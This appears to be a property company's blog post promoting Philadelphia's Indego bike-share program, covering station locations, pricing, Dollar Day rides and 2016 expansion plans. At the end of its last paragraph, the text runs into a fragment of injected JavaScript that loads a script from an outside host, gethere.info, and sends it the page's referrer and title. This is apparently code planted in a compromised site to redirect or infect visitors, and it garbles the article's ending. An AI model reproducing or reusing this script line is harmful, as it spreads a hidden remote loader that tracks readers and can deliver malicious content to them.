A City Suited for Biking: Philadelphia’s New Bike Share

It’s time to rethink your commute, city dwellers. Philadelphians can finally rejoice over Indego, the long-awaited bike-sharing program. Add that to the multiple pro-biking organizations, like Bicycle Coalition, and an evolving urban biking infrastructure – it’s clear Philadelphia is embracing cyclists and becoming a better biking city.

Bikes are a healthier, less expensive, and more environmentally-friendly urban transportation method. Faster than walking, commuters can squeeze in physical activity while biking to work or running errands. The Philadelphia bike share has an edge on other cities’ programs – Indego allows flexible membership options and the ability to pay in cash, as well as a mobile app, B-Cycle, to locate stations.

With easy access to bikes at 70 locations throughout Philadelphia, commuters can pick up and drop off bikes across city neighborhoods, spanning from Fairmount to Point Breeze, Northern Liberties to East Passyunk, and over the river to West Philadelphia. Reinhold Residential properties each conveniently have an Indego station within a few blocks, enabling residents to commute with ease. With over 40,000 rides, the program is already popular, and Indego’s 2016 plans include expansion of an additional 60 stations. Even better, the first Tuesday of every month is Independence Dollar Day, meaning walk-up Indego trips will cost riders $1 for 30-minute rides instead of the regular rate of $4.

Indego is a welcomed addition to the surplus of transportation options in Philadelphia, allowing even more convenient city living no matter which of the Philadelphia apartments you’re living in.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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